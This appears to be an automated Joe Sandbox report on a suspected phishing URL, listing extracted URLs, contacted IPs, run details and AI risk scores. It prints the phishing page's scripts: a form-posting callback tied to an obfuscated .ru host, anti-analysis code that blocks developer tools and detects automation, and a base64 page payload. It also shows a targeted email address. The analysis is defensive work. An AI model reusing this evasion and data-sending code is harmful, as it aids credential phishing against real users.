https://code.visualstudio.com/docs/copilot/copilot-chat	chromecache_207.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_284.2.dr, chromecache_226.2.dr	false		high
https://admin.youtube.com	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://code.visualstudio.com/opengraphimg/opengraph-blog.png	chromecache_207.2.dr	false		high
https://www.youtube.com/api/drm/fps?ek=	chromecache_234.2.dr, chromecache_304.2.dr	false		high
http://www.videolan.org/x264.html	chromecache_159.2.dr, chromecache_192.2.dr, chromecache_208.2.dr, chromecache_183.2.dr	false		high
https://github.com/features/copilot#pricing-2	chromecache_207.2.dr	false		high
http://getbootstrap.com)	chromecache_312.2.dr	false		high
https://cdn.graph.office.net/prod/css/Moray/v2.20.0/bundle.min.js	chromecache_231.2.dr	false		high
https://redux.js.org/tutorials/fundamentals/part-4-store#middleware	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://twitter.com/intent/tweet?url=	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG3_VP3.png?v=	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/HeroBanner_VP1.webp?v=	chromecache_231.2.dr	false		high
https://bsky.app/profile/vscode.dev	chromecache_207.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG3_VP1.png?v=	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG3_VP5.png?v=	chromecache_231.2.dr	false		high
https://code.visualstudio.com/docs/copilot/copilot-customization#_define-commit-message-generation-c	chromecache_207.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_img01_VP3.webp?v=	chromecache_231.2.dr	false		high
https://openjsf.org/	chromecache_256.2.dr, chromecache_229.2.dr	false		high
https://github.com/madler/zlib/blob/master/zlib.h	chromecache_155.2.dr, chromecache_278.2.dr, chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_img03_VP3.webp?v=	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/vendor/node_modules/jquery/v3.6.0/jquery-3.6.0.min.js	chromecache_231.2.dr	false		high
https://yurt.corp.google.com	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_img02_VP3.webp?v=	chromecache_231.2.dr	false		high
https://viacon.corp.google.com	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG4_VP2.png?v=	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG4_VP3.png?v=	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_img01_VP2.webp?v=	chromecache_231.2.dr	false		high
https://www.youtube.com/generate_204?cpn=	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_img02_VP2.webp?v=	chromecache_231.2.dr	false		high
https://marketplace.visualstudio.com/items?itemName=ms-vscode.vscode-speech	chromecache_207.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG1_VP1.png?v=	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG1_VP2.png?v=	chromecache_231.2.dr	false		high
https://marketplace.visualstudio.com/items?itemName=ms-vscode.vscode-copilot-vision	chromecache_207.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG1_VP5.png?v=	chromecache_231.2.dr	false		high
https://ffmpeg.org/	chromecache_207.2.dr	false		high
https://code.visualstudio.com/Search?q=	chromecache_207.2.dr	false		high
https://support.google.com/youtube/answer/6276924	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_gratstarted_VP3.webp?v=	chromecache_231.2.dr	false		high
https://www.youtube.com/	chromecache_207.2.dr	false		high
http://youtube.com/yt/2012/10/10	chromecache_234.2.dr, chromecache_304.2.dr	false		high
http://underscorejs.org/LICENSE	chromecache_256.2.dr, chromecache_229.2.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_304.2.dr	false		high
https://code.visualstudio.com/docs/copilot/copilot-edits	chromecache_207.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG2_VP2.png?v=	chromecache_231.2.dr	false		high
https://www.tiktok.com/	chromecache_207.2.dr	false		high
https://jquery.com/	chromecache_284.2.dr, chromecache_226.2.dr, chromecache_256.2.dr, chromecache_229.2.dr	false		high
http://tools.ietf.org/html/rfc1950	chromecache_155.2.dr, chromecache_278.2.dr, chromecache_234.2.dr, chromecache_304.2.dr	false		high
http://www.youtube.com/videoplayback	chromecache_304.2.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_312.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG3_VP2.png?v=	chromecache_231.2.dr	false		high
https://code.visualstudio.com	chromecache_207.2.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_256.2.dr, chromecache_229.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/HeroBanner_VP2.webp?v=	chromecache_231.2.dr	false		high
http://schema.org/Organization	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_img03_VP2.webp?v=	chromecache_231.2.dr	false		high
https://sizzlejs.com/	chromecache_256.2.dr, chromecache_229.2.dr	false		high
https://js.foundation/	chromecache_256.2.dr, chromecache_229.2.dr	false		high
https://marketplace.visualstudio.com/VSCode	chromecache_207.2.dr	false		high
https://support.google.com/youtube/?p=missing_quality	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://github.com/microsoft/vscode-copilot-release	chromecache_207.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_img02_VP1.webp?v=	chromecache_231.2.dr	false		high
https://github.com/microsoft/vscode	chromecache_207.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_img03_VP1.webp?v=	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/HeroBanner_VP3.webp?v=	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_img01_VP1.webp?v=	chromecache_231.2.dr	false		high
https://support.google.com/youtube/?p=report_playback	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://angular.dev/license	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/CARD_BG2_VP1.png?v=	chromecache_231.2.dr	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	unknown	United States	15169	GOOGLEUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.25.176	unknown	United States	13335	CLOUDFLARENETUS	false
23.32.221.157	aka.ms	United States	16625	AKAMAI-ASUS	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
142.250.186.110	play.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
142.250.184.206	unknown	United States	15169	GOOGLEUS	false
142.250.186.33	photos-ugc.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.217.16.142	unknown	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
172.67.143.137	n0.kolivane.ru	United States	13335	CLOUDFLARENETUS	true
142.250.186.129	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
216.58.212.182	i.ytimg.com	United States	15169	GOOGLEUS	false
172.217.16.196	unknown	United States	15169	GOOGLEUS	false
142.250.186.86	unknown	United States	15169	GOOGLEUS	false
172.67.134.110	bezpz7qcm1hhahypu4fla2o1q0s1mphgq5y8dsqo4c6yynrnqqkv.aeeouirl.ru	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582269
Start date and time:	2024-12-30 08:06:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.win@25/291@68/22

Input	Output
URL: https://N0.kolivane.ru Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://N0.kolivane.ru
URL: https://n0.kolivane.ru/da4scmQ/#Memily.gamble@amd.... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the interaction with an untrusted domain further increase the risk. While the script appears to have some legitimate functionality related to a CAPTCHA-like system, the overall behavior is highly suspicious and indicative of potential malicious intent." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA1viUI4UDuMAibc', 'error-callback': egrkfXscYq, callback: IuNyxbcGyZ, }); function egrkfXscYq() { turnstile.reset(); } function IuNyxbcGyZ() { var YWKxtZAHPM = document.getElementById("MSEQyxDqmo"); YWKxtZAHPM.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = '3Wsaz1'; var mqGIazBPGL = "../jiu20ZZgkE4tz7Qn6KW3QOibO0bdcx"; fetch('https://BEZpZ7qCM1hHahYpu4FlA2o1q0s1mphGQ5Y8dsQO4c6YYNrnqqKV.aeeouirl.ru/omcrjprngregvqdgxhjhzfuaiiCDSRTVBIBXFZZZJEQKFDTSFXHDDNDYNEUXWPXZCQPGVCKAPNN', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(mqGIazBPGL, { method: "POST", body: new FormData(YWKxtZAHPM) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(TXhhwzhqau == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://graph.microsoft.com'); } }); } if(text != 0){ window.location.replace('https://graph.microsoft.com'); } }) .catch(error => { window.location.replace('https://graph.microsoft.com'); }); }
URL: https://n0.kolivane.ru/da4scmQ/#Memily.gamble@amd.... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While some of the behaviors may be related to legitimate functionality, such as analytics or error reporting, the overall level of risk is elevated due to the presence of multiple suspicious indicators. Further review and analysis would be necessary to determine the true intent and potential impact of this script." }
/* Persistence is the key to achieving great things. */ if(atob("aHR0cHM6Ly9Eay5rb2xpdmFuZS5ydS9kYTRzY21RLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNWUHBQRmVaeGNsIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI1ZQcFBGZVp4Y2wgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI1ZQcFBGZVp4Y2wgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojVlBwUEZlWnhjbCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1ZQcFBGZVp4Y2wuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogNzJweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI1ZQcFBGZVp4Y2wgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNWUHBQRmVaeGNsIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojVlBwUEZlWnhjbCAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiNWUHBQRmVaeGNsIC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiNWUHBQRmVaeGNsIC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojVlBwUEZlWnhjbCAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojVlBwUEZlWnhjbC5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI1ZQcFBGZVp4Y2wgLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNWUHBQRmVaeGNsICNvSGJyZmNhSmd5IHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQpUWGhod3pocWF1ID0gZmFsc2U7DQooZnVuY3Rpb24gelp1RGhtRWNhcCgpIHsNCiAgICBsZXQgVmZwTFl1dVhBSyA9IGZhbHNlOw0KICAgIGNvbnN0IHlsR1h3ZWFhTGogPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0I
URL: https://n0.kolivane.ru/da4scmQ/#Memily.gamble@amd.... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common developer tools and keyboard shortcuts, and redirecting the user to an external domain. The script also contains obfuscated code and a self-executing function that triggers a redirect after a certain time delay. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing analysis or redirecting users to a malicious site." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); TXhhwzhqau = false; (function zZuDhmEcap() { let VfpLYuuXAK = false; const ylGXweaaLj = 100; setInterval(function() { const YdYqrmkuDS = performance.now(); debugger; const IsJJsvFquD = performance.now(); if (IsJJsvFquD - YdYqrmkuDS > ylGXweaaLj && !VfpLYuuXAK) { TXhhwzhqau = true; VfpLYuuXAK = true; window.location.replace('https://graph.microsoft.com'); } }, 100); })();
URL: https://www.gstatic.com/cv/js/sender/v1/cast_sende... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a legitimate script that loads the Google Cast SDK for Chrome. It checks the user agent, Chrome version, and other contextual factors to determine the appropriate script URLs to load. While it uses some dynamic code execution techniques like `eval()` and the `Function` constructor, these are likely for legitimate purposes related to the Cast SDK integration. The script does not exhibit any clear signs of malicious intent or data exfiltration, and the use of trusted domains like `www.gstatic.com` suggests this is a benign script. Overall, the risk score is low, with some minor concerns around the use of dynamic code execution." }
(function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ 'use strict';var l=function(){var a=h,b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},m=this\|\|self,n=/^[\w+/_-]+[=]{0,2}$/,p=null,q=function(a){return(a=a.querySelector&&a.querySelector("script[nonce]"))&&(a=a.nonce\|\|a.getAttribute("nonce"))&&n.test(a)?a:""},r=function(a,b){function e(){}e.prototype=b.prototype;a.i=b.prototype;a.prototype=new e;a.prototype.constructor=a;a.h=function(c,g,k){for(var f=Array(arguments.length-2),d=2;d<arguments.length;d++)f[d-2]=arguments[d]; return b.prototype[g].apply(c,f)}},t=function(a){return a};function u(a){if(Error.captureStackTrace)Error.captureStackTrace(this,u);else{var b=Error().stack;b&&(this.stack=b)}a&&(this.message=String(a))}r(u,Error);u.prototype.name="CustomError";var v=function(a,b){a=a.split("%s");for(var e="",c=a.length-1,g=0;g<c;g++)e+=a[g]+(g<b.length?b[g]:"%s");u.call(this,e+a[c])};r(v,u);v.prototype.name="AssertionError";var w=function(a,b){throw new v("Failure"+(a?": "+a:""),Array.prototype.slice.call(arguments,1));};var x;var A=function(a,b){this.g=b===z?a:""};A.prototype.toString=function(){return this.g+""};var z={};var B=function(){var a=window.navigator.userAgent.match(/Chrome\/([0-9]+)/);return a?parseInt(a[1],10):0},C=function(a){return!!document.currentScript&&(-1!=document.currentScript.src.indexOf("?"+a)\|\|-1!=document.currentScript.src.indexOf("&"+a))},D=function(){return"function"==typeof window.__onGCastApiAvailable?window.__onGCastApiAvailable:null},F=function(a){a.length?E(a.shift(),function(){F(a)}):G()},H=function(a){return"chrome-extension://"+a+"/cast_sender.js"},E=function(a,b,e){var c=document.createElement("script"); c.onerror=b;e&&(c.onload=e);if(void 0===x)if(b=null,(e=m.trustedTypes)&&e.createPolicy){try{b=e.createPolicy("goog#html",{createHTML:t,createScript:t,createScriptURL:t})}catch(y){m.console&&m.console.error(y.message)}x=b}else x=b;a=(b=x)?b.createScriptURL(a):a;a=new A(a,z);a:{try{var g=c&&c.ownerDocument,k=g&&(g.defaultView\|\|g.parentWindow);k=k\|\|m;if(k.Element&&k.Location){var f=k;break a}}catch(y){}f=null}if(f&&"undefined"!=typeof f.HTMLScriptElement&&(!c\|\|!(c instanceof f.HTMLScriptElement)&&(c instanceof f.Location\|\|c instanceof f.Element))){f=typeof c;if("object"==f&&null!=c\|\|"function"==f)try{var d=c.constructor.displayName\|\|c.constructor.name\|\|Object.prototype.toString.call(c)}catch(y){d="<object could not be stringified>"}else d=void 0===c?"undefined":null===c?"null":typeof c;w("Argument is not a %s (or a non-Element, non-Location mock); got: %s","HTMLScriptElement",d)}a instanceof A&&a.constructor===A?d=a.g:(d=typeof a,w("expected object of type TrustedResourceUrl, got '"+a+"' of type "+("object"!= d?d:a?Array.isArray(a)?"array":d:"null")),d="type_error:TrustedResourceUrl");c.src=d;(d=c.ownerDocument&&c.ownerDocument.defaultView)&&d!=m?d=q(d.document):(null===p&&(p=q(m.document)),d=p);d&&c.setAttribute("nonce",d);(document.head\|\|document.documentElement).appendChild(c)},I=function(){var a=B(),b=[];if(1<a){var e=a-1;b.push("//www.gstatic.com/eureka/clank/"+a+"/cast_sender.js");b.push("//www.gstatic.com/eureka/clank/"+e+"/cast_sender.js")}return b},G=function(){var a=D();a&&a(!1,"No cast extension found")}, K=function(){if(J){var a=2,b=D(),e=function(){a--;0==a&&b&&b(!0)};window.__onGCastApiAvailable=e;E("//www.gstatic.com/cast/sdk/libs/sender/1.0/cast_framework.js",G,e)}},J=C("loadCastFramework")\|\|C("loadCastApplicationFramework"),L=["pkedcjkdefgpdelpbcmbmeomcjbeemfm","enhhojjnijigcajfphajepfemndkmdlo"];if(0<=window.navigator.userAgent.indexOf("Android")&&0<=window.navigator.userAgent.indexOf("Chrome/")&&window.navigator.presentation){if(60<=B()){K();var M=I();M.push("//www.gstatic.com/eureka/clank/cast_sender.js");F(M)}}else if(!window.chrome\|\|!window.navigator.presentation\|\|0<=window.navigator.userAgent.indexOf("Edge"))G();else if(89<=B()){K();var N=I(),O=N.push,P=O.apply,h=L.map(H),Q;if(h instanceof Array)Q=h;e
URL: https://n0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://n0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://developer.microsoft.com/en-us/graph Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Microsoft Graph is the unified API for modern work", "prominent_button_name": "Get started", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://developer.microsoft.com/en-us/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Start using GitHub Copilot for free in Visual Studio Code. No trial. No credit card required. Just your GitHub account.", "prominent_button_name": "Learn more", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://developer.microsoft.com/en-us/graph Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://developer.microsoft.com/en-us/ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Announcing a free GitHub Copilot for VS Code", "prominent_button_name": "Sign in to Use Copilot for Free", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot Model: Joe Sandbox AI	{ "brands": [ "Copilot" ] }
	{ "brands": [ "Copilot" ] }
URL: https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Announcing a free GitHub Copilot for VS Code", "prominent_button_name": "Enable GitHub Copilot Free", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot Model: Joe Sandbox AI	{ "brands": [ "Visual Studio Code" ] }
	{ "brands": [ "Visual Studio Code" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	1048576
Entropy (8bit):	7.817421467165825
Encrypted:	false
SSDEEP:	24576:yPrQV0cka3LPhaM/Goco/EElEELnnnmcmMH5JzR1iQdbTT9FnLFs:8oLJay/EElEECKZz3db1FZs
MD5:	DFBE0565B1CCF3BE25C60C3761A40C77
SHA1:	3B5A5D8C6AC74C4D003FF21EB15B906A67E15465
SHA-256:	201DAD910A94E2A7744554871F6E0FCFF30F97211EE682B6A2E0138958774580
SHA-512:	B80ABDF6B94D9A8C7B9C8D321D348C1A4083182F5389B73A6873AFC3FF40048BAEA845971AEAF49AB06FD2023E0371E7A52BE42D4B484C2DBE1B4343727956CD
Malicious:	false
Reputation:	low
URL:	https://code.visualstudio.com/assets/blogs/2024/12/18/workspace-v2.mp4:2f890dc195265c:1
Preview:	.L..n`../..R@.....$.,.../..b....j.f.....RD.8.......}.(.8x.Mk.,..!C.......]...(."......a.YJ8...i.,..@#>\|........%...............0....o..v&.<`00..W.wQ...(.....!{.....o..e..;....Dj....{~.o..C............~....!... .:.)..".z.1.m.U...``...#........Ye....&x./N(3.2. .L.vc..e..0..$c......x ...%...0n..l...$.S..R.N.,4...BW ...y..c.X.'..\Q,8..........P...(..~.......7A.b...}A4 iO..W..`....@.2,'e.\C.\.uXR..q....q=.Ff.f...........Z...O..$..,.:....S.fH.(...T_,..x..!.P.......J.,...B.[.<*..e..l.K4...i1..g.... #.,4..LP!%D..=T8}.#P.F0-.OTg..\p..I..m-y.-......9.4..f....Cn..t...v0.LP..............6\...X....j.......Cu...M..(...1..P!..a.pGHn..B...... ....../[..z....A...........0.I.k)~..Dc.m..........).j......O.(.i..p.4.<v..m/hW}QP.w..q...l...7...."\a.....................9.[.1....e6.....h..>...........,C._......44....~.%.(,.@........2.........G.YQ.....a;.<%.b..<..8.y.}p....87P...X.C......t.[..`...d.....`:J`..i...).[......k^.=.\.{h$i....8.....R.....#/Q..D.E.........cfWQ.Z...

